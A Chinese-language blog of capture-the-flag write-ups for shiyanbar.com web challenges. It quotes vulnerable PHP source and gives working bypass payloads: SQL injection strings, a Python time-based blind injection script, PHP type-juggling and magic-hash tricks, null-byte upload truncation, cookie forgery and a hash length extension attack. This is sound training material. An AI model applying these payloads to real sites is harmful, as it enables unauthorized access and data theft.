实验吧 wp

实验吧 后台登陆

  • http://www.shiyanbar.com/ctf/2036

  • 题目链接 http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php

  • 页面源代码中有提示

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <!-- $password=$_POST['password'];
    $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
    $result=mysqli_query($link,$sql);
    if(mysqli_num_rows($result)>0){
    echo 'flag is :'.$flag;
    }
    else{
    echo '密码错误!';
    } -->
  • md5(string,raw)

    string 必需。规定要计算的字符串。

    raw 可选。规定十六进制或二进制输出格式:

    TRUE – 原始 16 字符二进制格式
    FALSE – 默认。32 字符

    十六进制数如果md5计算后的值经过hex转成字符串后为 ”or’xxx’这样的字符串,则拼接后构成的语句为:

    select * from 'admin' where password=”or’xxx’
  • 下面提供两个payload:

    content: 129581926211651571912466741651878684928

    hex: 06da5430449f8f6f23dfc1276f722738

    raw: ?T0D??o#??’or’8.N=?

    content: ffifdyop

    hex: 276f722736c95d99e921722cf9ed621c

    raw: ‘or’6蒥欓!r,b

实验吧 你真的会PHP吗

  • http://www.shiyanbar.com/ctf/2008

  • 解题链接: http://ctf5.shiyanbar.com/web/PHP/index.php

  • burp suite抓包,response下发现有hintpqyEsx.png

  • 访问ctf5.shiyanbar.com/web/PHP/6c525af4059b4fe7d8c33a.txt得到源代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    <?php


    $info = "";
    $req = [];
    $flag="xxxxxxxxxx";

    ini_set("display_error", false);
    error_reporting(0);


    if(!isset($_POST['number'])){
    header("hint:6c525af4059b4fe7d8c33a.txt");

    die("have a fun!!");
    }

    foreach([$_POST] as $global_var) {
    foreach($global_var as $key => $value) {
    $value = trim($value);
    is_string($value) && $req[$key] = addslashes($value);
    }
    }


    function is_palindrome_number($number) {
    $number = strval($number);
    $i = 0;
    $j = strlen($number) - 1;
    while($i < $j) {
    if($number[$i] !== $number[$j]) {
    return false;
    }
    $i++;
    $j--;
    }
    return true;
    }


    if(is_numeric($_REQUEST['number'])){

    $info="sorry, you cann't input a number!";

    }elseif($req['number']!=strval(intval($req['number']))){

    $info = "number must be equal to it's integer!! ";

    }else{

    $value1 = intval($req["number"]);
    $value2 = intval(strrev($req["number"]));

    if($value1!=$value2){
    $info="no, this is not a palindrome number!";
    }else{

    if(is_palindrome_number($req["number"])){
    $info = "nice! {$value1} is a palindrome number!";
    }else{
    $info=$flag;
    }
    }

    }

    echo $info;
  • 要拿到flag,POST的number需要满足以下条件:

    1. 不为空,且不能是一个数值型数字,包括小数。(由is_numeric函数判断)

    2. 不能是一个回文数。(is_palindrome_number判断)

    3. 该数的反转的整数值应该和它本身的整数值相等。即:

      intval($req[“number”])=intval(strrev($req[“number”]))

      1. php intval()函数溢出
    1. 获取变量的整数值,允许以使用特定的进制返回,默认10进制
    1. Intval最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647
      举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。64位系统上,最大带符号的 integer 值是 9223372036854775807。
  • 空字符可以绕过is_numeric的判断(如%00,%20)

  • 构造以下poc,number=2147483647%00 和number=2147483647%20都可

    2. 用科学计数法构造0=0

    要求不能为回文数,但又要满足intval($req[“number”])=intval(strrev($req[“number”])),所以我们采用科学计数法构造poc为number=0e-0%00,这样的话我们就可以绕过。

who are you

  • 打开只有一句“Sorry. You have no permissions.” 页面源码没有提示
  • burpsuite抓包发现了“Cookie: role=Zjo1OiJ0aHJmZyI7”,base64解码得到
  • f:5:”thrfg”;
  • thrfg是rot-13加密,解密后是guest,改为admin后,再用rot13加密,得到
  • f:5:”nqzva”;
  • base64编码得到Zjo1OiJucXp2YSI7,修改为新的cookie
  • 页面显示Hello admin, now you can upload something you are easy to forget.
  • 查看页面源代码,有提示
  • 通过构造上传php
    pqfLr9.png
    pqfObR.png
  • 访问 http://106.75.72.168:2222/uploads/b864978447b0dfa9a52a5586a02daefe1.php得到flag

这星期看了看html,php,js的内容,题目里的代码能看懂些了,sql语句还是不太会


实验吧 Forms

  • 解题链接: http://ctf5.shiyanbar.com/10/main.php
  • 点进去页面显示
    1
    2
    Notice: Undefined index: PIN in C:\h43a1W3\phpstudy\WWW\10\main.php on line 11
    Notice: Undefined index: showsource in C:\h43a1W3\phpstudy\WWW\10\main.php on line 12

下面有个提交PIN码的框,点击提交

  • burpsuite拦截一下

  • 发现有个showsource为0,改成1试试

  • pvYJ4s.png

  • 显示了部分源码,也就得到了PIN码

  • pvYGNj.png

  • 输入正确的PIN码,得到flag

实验吧 天网管理系统

  • 解题链接: http://ctf5.shiyanbar.com/10/web1/

  • emmm
    pvwXMn.png

  • 查看页面源代码,有提示

    1
    <!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->
  • username经过md5加密后要等于0

  •  在某些情况下,PHP会把类数值数据(如含有数字的字符串等)转换成数值处理,== 运算符就是其中之一。在使用 == 运算符对两个字符串进行松散比较时,PHP会把类数值的字符串转换为数值进行比较,如果参数是字符串,则返回字符串中第一个不是数字的字符之前的数字串所代表的整数值。比如: ‘3’ == ‘3ascasd’结果为true。

  •  ==来进行hash比较,如果hash值以0e开头,后边都是数字,再与数字比较,就会被解释成0*10^n还是为0,就会被判断相等

  •  s1091221200a,s878926199a、240610708、QNKCDZO、aabg7XSs、aabC9RqS就可以

  • 然后得到提示

  • /user.php?fame=hjkleffifer

  • 打开提示的页面

    1
    2
    3
    4
    $unserialize_str = $_POST['password'];
    $data_unserialize = unserialize($unserialize_str);
    if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???') { print_r($flag); }
    伟大的科学家php方言道:成也布尔,败也布尔。 回去吧骚年
  • 代码意思是把post提交的password值经过”反序列化”得到一个数组,要求数组里的user和pass都等于某个值时就打印flag

  • 但是我们不知道两处???到底是什么,因此无法考虑用php函数构造这样的值

  • 提示布尔,bool类型的true跟任意字符串可以弱类型相等

  • 因此我们可以构造bool类型的序列化数据,无论比较的值是什么,结果都为true。(a代表array,s代表string,b代表bool,而数字代表个数/长度)

  • 构造password值为: a:2:{s:4:”user”;b:1;s:4:”pass”;b:1;}

  • 登陆得到flag

实验吧 once more

  • 解题链接: http://ctf5.shiyanbar.com/web/more.php

  • 代码审计题,给出了源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    <?php
    if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
    {
    echo '<p>You password must be alphanumeric</p>';
    }
    else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
    {
    if (strpos ($_GET['password'], '*-*') !== FALSE)
    {
    die('Flag: ' . $flag);
    }
    else
    {
    echo('<p>*-* have not been found</p>');
    }
    }
    else
    {
    echo '<p>Invalid password</p>';
    }
    }
    ?>
  • 条件1:

  • ereg (“^[a-zA-Z0-9]+$”, $_GET[‘password’]) !== FALSE
    password由字母数字组成

  • 条件2:

  • strlen($_GET[‘password’]) < 8 && $_GET[‘password’] > 9999999
    password长度小于8,数值大于9999999

  • 条件3:

  • strpos ($_GET[‘password’], ‘-‘) !== FALSE
    password中需要含有特殊字符:*- *

  • ereg漏洞:ereg读%00的时候,就截止了

  • password=9e9%00-,在地址栏提交,得到flag

  • 或者http://ctf5.shiyanbar.com/web/more.php?password[]=,password改为数组类型

实验吧 Guess Next Session

  • 解题链接: http://ctf5.shiyanbar.com/web/Session.php

    写个算法没准就算出来了,23333
    hint:你确定你有认真看判断条件?
    格式:CTF{}

  • 打开链接,查看源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?php
    session_start();
    if (isset ($_GET['password'])) {
    if ($_GET['password'] == $_SESSION['password'])
    die ('Flag: '.$flag);
    else
    print '<p>Wrong guess.</p>';
    }

    mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
    ?>
  • 根据代码,需要输入的password和session的值相同才会输出flag,然后是个随机算法。

  • burpsuite抓包

  • 9CYgq1.png

  • 吧phpsession的值改为空,password为空,提交得到flag

实验吧 FALSE

  • 解题链接: http://ctf5.shiyanbar.com/web/false.php

    PHP代码审计
    hint:sha1函数你有认真了解过吗?听说也有人用md5碰撞o(╯□╰)o
    格式:CTF{}

  • 查看源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php
    if (isset($_GET['name']) and isset($_GET['password'])) {
    if ($_GET['name'] == $_GET['password'])
    echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
    die('Flag: '.$flag);
    else
    echo '<p>Invalid password.</p>';
    }
    else{
    echo '<p>Login first!</p>';
    ?>
  • 根据代码,name和password的值不能相同,而sha1加密之后的name和password的值又必须完全相同

  • name[]=1&password[]=2在第一次判断时值是不同的,但在第二处判断时由于sha1()函数无法处理数组类型,将报错并返回false,if 条件成立,获得flag

  • (使用sha1对一个数组进行加密,返回的将是NULL,NULL===NULL,这是成立的)?

实验吧 拐弯抹角

  • 解题链接: http://ctf5.shiyanbar.com/indirection/

  • 打开链接就给出了源码,还有注释

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
     <?php
    // code by SEC@USTC

    echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>';

    $URL = $_SERVER['REQUEST_URI'];
    //echo 'URL: '.$URL.'<br/>';
    $flag = "CTF{???}";

    $code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php'));
    $stop = 0;

    //这道题目本身也有教学的目的
    //第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的
    //所以,第一个要求就是不得出现 ./
    if($flag && strpos($URL, './') !== FALSE){
    $flag = "";
    $stop = 1; //Pass
    }

    //第二,我们可以构造 \ 来代替被过滤的 /
    //所以,第二个要求就是不得出现 ../
    if($flag && strpos($URL, '\\') !== FALSE){
    $flag = "";
    $stop = 2; //Pass
    }

    //第三,有的系统大小写通用,例如 indirectioN/
    //你也可以用?和#等等的字符绕过,这需要统一解决
    //所以,第三个要求对可以用的字符做了限制,a-z / 和 .
    $matches = array();
    preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches);
    if($flag && empty($matches) || $matches[1] != $URL){
    $flag = "";
    $stop = 3; //Pass
    }

    //第四,多个 / 也是可以的
    //所以,第四个要求是不得出现 //
    if($flag && strpos($URL, '//') !== FALSE){
    $flag = "";
    $stop = 4; //Pass
    }

    //第五,显然加上index.php或者减去index.php都是可以的
    //所以我们下一个要求就是必须包含/index.php,并且以此结尾
    if($flag && substr($URL, -10) !== '/index.php'){
    $flag = "";
    $stop = 5; //Not Pass
    }

    //第六,我们知道在index.php后面加.也是可以的
    //所以我们禁止p后面出现.这个符号
    if($flag && strpos($URL, 'p.') !== FALSE){
    $flag = "";
    $stop = 6; //Not Pass
    }

    //第七,现在是最关键的时刻
    //你的$URL必须与/indirection/index.php有所不同
    if($flag && $URL == '/indirection/index.php'){
    $flag = "";
    $stop = 7; //Not Pass
    }
    if(!$stop) $stop = 8;

    echo 'Flag: '.$flag;
    echo '<hr />';
    for($i = 1; $i < $stop; $i++)
    $code = str_replace('//Pass '.$i, '//Pass', $code);
    for(; $i < 8; $i++)
    $code = str_replace('//Pass '.$i, '//Not Pass', $code);


    echo highlight_string($code, TRUE);

    echo '</body></html>';
  • 题目的意思时访问index.php得到flag,但是

  1. 不得出现 ./
  2. 不得出现 ../
  3. 可以用的字符做了限制,a-z / 和 .
  4. 不得出现 //
  5. 必须包含/index.php,并且以此结尾
  6. 禁止p后面出现.这个符号
  7. 你的$URL必须与/indirection/index.php有所不同
  • url伪静态技术,使用http://ctf5.shiyanbar.com/indirection/index.php/index/index.php
  • index.php后的index.php会被当做参数处理,所以服务器只会解析第一个index.php,满足条件成功绕过。
  • URL重写,其实就是把带一大堆参数的url,变成一个看上去很规矩的url,主要目的是为了搜索引擎。

实验吧 php大法

  • 解题链接: http://ctf5.shiyanbar.com/DUTCTF/index.php

  • 打开链接有提示

  • Can you authenticate to this website? index.php.txt

  • 打开提示的txt文档,出现了源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php
    if(eregi("hackerDJ",$_GET[id])) {
    echo("<p>not allowed!</p>");
    exit();
    }

    $_GET[id] = urldecode($_GET[id]);
    if($_GET[id] == "hackerDJ")
    {
    echo "<p>Access granted!</p>";
    echo "<p>flag: *****************} </p>";
    }
    ?>
  • 分析代码,id的值不能和hackerDJ相同,并且id经url解码为hackerDJ

  • 把hackerDJ进行url编码,得到%68%61%63%6b%65%72%44%4a

  • 构造url:index.php?id=%68%61%63%6b%65%72%44%4a,显示not allowed

  • 这里需要注意的是:在浏览器中提交时浏览器会为我们进行一次解码

  • 再一次url编码,得到%2568%2561%2563%256b%2565%2572%2544%254a

  • 构造url:index.php?id=%2568%2561%2563%256b%2565%2572%2544%254a,得到flag

实验吧 NSCTF web200

  • 解题链接: http://ctf5.shiyanbar.com/web/web200.jpg
  • 链接是张图片,题目意思是按照加密的源码解出密文
  • image
  • strrev() 函数:反转字符串
  • substr() 函数:substr() 函数返回字符串的一部分。substr(string,start,length)
  • ord()和chr()分别是返回字符的asc码值和从asc码值返回字符
  • 分析代码:先把字符串反转,然后每个字符的asc码加一,取其对应的字符,进行base64编码,反转字符串,最后rot13加密
  • 只要逆序解密,就能得到flag
  • a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws
  • –>rot13解码:
    n1mYotDfPRFRVdEYjhDNlZjYld2Y5IjOkdTN3EDNlhzM0gzZiFTZ2MjO4gjf
  • –>reverse:
    fjg4OjM2ZTFiZzg0MzhlNDE3NTdkOjI5Y2dlYjZlNDhjYEdVRFRPfDtoYm1n
  • –>base64解码:
    ~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg
  • –>python
    1
    2
    3
    4
    5
    6
    data= '~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg'
    result=''
    for i in data:
    result += chr(ord(i)-1)
    result = result[::-1]
    print result

得到flag

实验吧 上传绕过

  • 解题链接: http://ctf5.shiyanbar.com/web/upload

  • 先上传jpg文件,返回页面要求后缀名为php

  • 上传php文件,要求必须传jpg等图片文件

  • 这个时候就想到用0x00截断

  • 上传一张图片,将数据包发到repeater,在/uploads/后面加上一个1.php+ 然后发送到repeater 用十六进制打开 找到+所在的位置把+的十六进制2b改为00

  • 简单举个例子:

    1
    2
    3
    path="upfiles/picture/"
    file="20121212.jpg"
    upfilename=path & file '最后的上传地址
  • upfilename即为最终名字,意思为如果地址为picture/1.php+,文件名为1.jpg则最终上传上去的文件路径为picture/1.php+1.jpg,0x00截断的思路即为将+之后的内容忽略掉使上传文件1.jpg最终上传到1.php中,此处利用到的就是0x00的截断漏洞

实验吧 这个看起来有点简单!

实验吧 貌似有点难

  • 解题链接: http://ctf5.shiyanbar.com/phpaudit/

  • PHP代码审计

  • 打开链接提示“错误!你的IP不在允许列表之内!” 并且有源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <?php
    function GetIP(){
    if(!empty($_SERVER["HTTP_CLIENT_IP"]))
    $cip = $_SERVER["HTTP_CLIENT_IP"];
    else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
    $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
    else if(!empty($_SERVER["REMOTE_ADDR"]))
    $cip = $_SERVER["REMOTE_ADDR"];
    else
    $cip = "0.0.0.0";
    return $cip;
    }

    $GetIPs = GetIP();
    if ($GetIPs=="1.1.1.1"){
    echo "Great! Key is *********";
    }
    else{
    echo "错误!你的IP不在访问列表之内!";
    }
    ?>
  • 分析代码

  1. 首先检测是HTTP_CLIENT_IP,它对应的是header中的client-ip,所在头文件中设置client-ip:1.1.1.1,可以得到flag
  2. 然后检测HTTP_X_FORWARDED_FOR,改X-forwarded-for为1.1.1.1可以得到flag
  3. 最后检测remote_addr,属于TCP/IP的网络层中的东西很难改

实验吧 简单的sql注入

  • 提交1,链接变为id=1
  • 提交1’,报错,存在注入
  • 尝试?id=1 select order by union databse() columns tables
  • CCynAI.png
  • 发现select,union等被过滤
  • 尝试双写 selectselect orderorder byby unionunion databse() columns tabes
  • 发现可以绕过
  • CCyeHA.png
  • 查表
  • 1’ unionunion selectselect table_name fromfrom information_schema.tables wherewhere ‘1’=’1
  • 发现一个flag表CCyuNt.png
  • 查列
  • 1’ unionunion selectselect column_namcolumn_namee fromfrom information_schema.coluinformation_schema.columnsmns wherewhere table_name=’flag
  • 这里information_schema.columns被替换成空格,需要绕过
  • CCyZBd.png
  • 发现flag列
  • 最后1’ unionunion selectselect flag fromfrom flag wherewhere ‘1’=’1
  • 得到flag
  • CCyVnH.png

实验吧 看起来有点难

  • 尝试输入用户名和密码,发现只有用户名为admin是提示登录失败,错误的用户名和密码,其他情况提示数据库连接失败,猜想为盲注
  • 构造?admin=admin’ and sleep(10) and ‘’=’&pass=1&action=login
  • 能发现有明显的延迟,说明存在盲注
  • 然后。。上sqlmap
  • 附上别人的脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    #-*-coding:utf-8-*-
    import requests
    import time

    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}*' #不区分大小写的

    flag = ""
    key=0
    print("Start")
    for i in range(1,50):
    if key == 1:
    break
    for payload in payloads:
    starttime = time.time()#记录当前时间
    headers = {"Host": "ctf5.shiyanbar.com",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
    "Accept-Encoding": "gzip, deflate",
    "Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471487815; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*67928%2CnickName%3Ayour",
    "Connection": "keep-alive",
    }
    url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(10) else sleep(0) end and ''='&pass=&action=login" %(i,payload)#数据库
    res = requests.get(url, headers=headers)
    if time.time() - starttime > 10:
    flag += payload
    print("pwd is:%s"%flag)
    break
    else:
    if payload == '*':
    key = 1
    break
    print('[Finally] current pwd is %s'% flag)

实验吧 忘记密码了

  • 打开随便输入email,CPZzpF.png弹窗提示一个链接CPep6J.png

  • 打开./step2.php?email=youmail@mail.com&check=???????,又跳回到step1.php

  • 有burp拦截下,发现有个submit.php的页面CPe9X9.png

  • 打开submit.php,提示不是admin

  • 在step1的页面源代码有提示,使用vim编辑CPeSl4.png

  • 关于vim的集中备份文件

    1. Vim 的交换文件 .filename.swp 默认交换文件在打开文件的时候就会产生交换文件,正常退出的时候才会删除交换文件
    2. Vim 的备份文件 filename~ 开启后,对文件进行修改后会保存修改之前的一个副本
    3. undo 备份文件 .filename.un.~
  • 发现存在.submit.php.swp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43

    ........这一行是省略的代码........

    /*
    如果登录邮箱地址不是管理员则 die()
    数据库结构

    --
    -- 表的结构 `user`
    --

    CREATE TABLE IF NOT EXISTS `user` (
    `id` int(11) NOT NULL AUTO_INCREMENT,
    `username` varchar(255) NOT NULL,
    `email` varchar(255) NOT NULL,
    `token` int(255) NOT NULL DEFAULT '0',
    PRIMARY KEY (`id`)
    ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

    --
    -- 转存表中的数据 `user`
    --

    INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
    (1, '****不可见***', '***不可见***', 0);
    */


    ........这一行是省略的代码........

    if(!empty($token)&&!empty($emailAddress)){
    if(strlen($token)!=10) die('fail');
    if($token!='0') die('fail');
    $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
    $r = mysql_query($sql) or die('db error');
    $r = mysql_fetch_assoc($r);
    $r = $r['num'];
    if($r>0){
    echo $flag;
    }else{
    echo "失败了呀";
    }
    }
  • 分析代码,需要token为0且长度为10,还需要正确的管理员邮箱,其实就在step1的源代码里

实验吧 程序逻辑问题

  • 查看页面源代码,发现 <a href="index.txt">
  • 点开后出现源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<html>
<head>
welcome to simplexue
</head>
<body>
<?php


if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");

}


}

?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>
  • 分析代码,需要MD5加密的pass与查询得到的数据一样
  • 构造user=’ union select md5(1) #
  • pass=1
  • sql语句为select pw from php where user=’’ union select md5(1) #
  • 得到flag

实验吧 让我进去

  • 查看cookie,把source值改为1,出现源代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    $flag = "XXXXXXXXXXXXXXXXXXXXXXX";
    $secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

    $username = $_POST["username"];
    $password = $_POST["password"];

    if (!empty($_COOKIE["getmein"])) {
    if (urldecode($username) === "admin" && urldecode($password) != "admin") {
    if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
    echo "Congratulations! You are a registered user.\n";
    die ("The flag is ". $flag);
    }
    else {
    die ("Your cookies don't match up! STOP HACKING THIS SITE.");
    }
    }
    else {
    die ("You are not an admin! LEAVE.");
    }
    }

    setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

    if (empty($_COOKIE["source"])) {
    setcookie("source", 0, time() + (60 * 60 * 24 * 7));
    }
    else {
    if ($_COOKIE["source"] != 0) {
    echo ""; // This source code is outputted here
    }
    }
  • 分析代码

    1. cookie中getmein不能为空
    2. username为admin,password不为admin
    3. $COOKIE[“getmein”] === md5($secret . urldecode($username . $password)
  • 还给出了sample-hash
    setcookie(“sample-hash”, md5($secret . urldecode(“admin” . “admin”))

  • 这里哈希长度扩展攻击

    如果一个应用程序是这样操作的:准备了一个密文和一些数据构造成一个字符串里,并且使用了MD5之类的哈希函数生成了一个哈希值(也就是所谓的signature/签名)
    让攻击者可以提交数据以及哈希值,虽然攻击者不知道密文
    服务器把提交的数据跟密文构造成字符串,并经过哈希后判断是否等同于提交上来的哈希值
    这个时候,该应用程序就易受长度扩展攻击,攻击者可以构造出{secret || data || attacker_controlled_data}的哈希值。

  • $secret是密文,长度为15,如果再算上后面第一个admin,长度就是20
    而数据是admin
    签名(哈希值)是571580b26c65f306376d4f64e53cb5c7

  • 使用HashPump,附加数据至少1位以上:

    1
    2
    3
    4
    5
    # hashpump
    Input Signature: 571580b26c65f306376d4f64e53cb5c7
    Input Data: admin
    Input Key Length: 20
    Input Data to Add: pcat

或者直接

hashpump -s 571580b26c65f306376d4f64e53cb5c7 -d admin -k 20 -a pcat

就会得到

3e67e8f0c05e1ad68020df30bbc505f5
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00pcat

第一个是新的签名,把它设置到cookies的getmein里。

第二个先把\x替换为%后,post提交

password=admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c8%00%00%00%00%00%00%00pcat

实验吧 登陆一下好吗

  • 猜测后台的sql应该是

    1
    select * from table where username= 'username' and password='password'
  • 进过测试,发现过滤了以下字符 | , – , or , union , # , select ,* ,/

  1. username= 1’=’0&password= 1’=’0 ,sql语句为
    1
    select * from table where username= '1'='0' and password='1'='0'

username=’1’返回值为0,0=’0’,成立

  1. username=’=’&password=’=’ ,sql语句为
    1
    select user from flag where user=''='' and password=''=''

user=”返回的是NULL,值为0,NULL=”,成立,即为

1
select user from flag where 1 and 1
  1. username=a’+0;%00&password=

    • mysql的注释符除了 – + , # ,/**/ 之外,还有一个 ;%00
    • user是一个字符串类型的,当他接受到一个整型值切值为0的时候,就会返回数据库的所有条目
  2. username=&password=^’a

    • 并没有过滤转义符号:,可以在username处输入转义符号,转义后面的单引号

    • 查询语句会变成

      1
      select * from table where  username='\' and password='^'a'
    • 此时username值为(’ and password=)

    • 然后后面又是一个位异或运算,异或username的值与字符串’a’,这里根据sql运算顺序,会先进行异或运算,而”’and password=”与”a”异或的结果是0

    • 查询语句会查询所有username=0的数据,而username都是字符串,正常情况下都是0所以会显示出所有的数据

因缺思汀的绕过

  • 查看源码发现suource.txt,打开得到源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    <?php
    error_reporting(0);

    if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
    echo '<form action="" method="post">'."<br/>";
    echo '<input name="uname" type="text"/>'."<br/>";
    echo '<input name="pwd" type="text"/>'."<br/>";
    echo '<input type="submit" />'."<br/>";
    echo '</form>'."<br/>";
    echo '<!--source: source.txt-->'."<br/>";
    die;
    }

    function AttackFilter($StrKey,$StrValue,$ArrReq){
    if (is_array($StrValue)){
    $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){
    print "水可载舟,亦可赛艇!";
    exit();
    }
    }

    $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
    foreach($_POST as $key=>$value){
    AttackFilter($key,$value,$filter);
    }

    $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
    if (!$con){
    die('Could not connect: ' . mysql_error());
    }
    $db="XXXXXX";
    mysql_select_db($db, $con);
    $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
    $query = mysql_query($sql);
    if (mysql_num_rows($query) == 1) {
    $key = mysql_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
    print "CTF{XXXXXX}";
    }else{
    print "亦可赛艇!";
    }
    }else{
    print "一颗赛艇!";
    }
    mysql_close($con);
    ?>
  • $sql=”SELECT * FROM interest WHERE uname = ‘{$_POST[‘uname’]}’”;

  • 过滤了"and|select|from|where|union|join|sleep|benchmark|,|\(|\)"

  • 输入的用户名为:’ or 1=1 group by pwd with rollup limit 1 offset 2 #

  • 这里解释一下此时执行的SQL:

  • SELECT * FROM interest where uname=’ ‘ or 1=1

  • group by pwd with rollup (在数据库中添加一行使得pwd=NULL)(with rollup会在查询的结果后面加上一个为空的列)

  • limit 1 (只查询一行)

  • offset 2 (从第二行开始查询)

  • #注释

  • 此时密码只要为空即可查询成功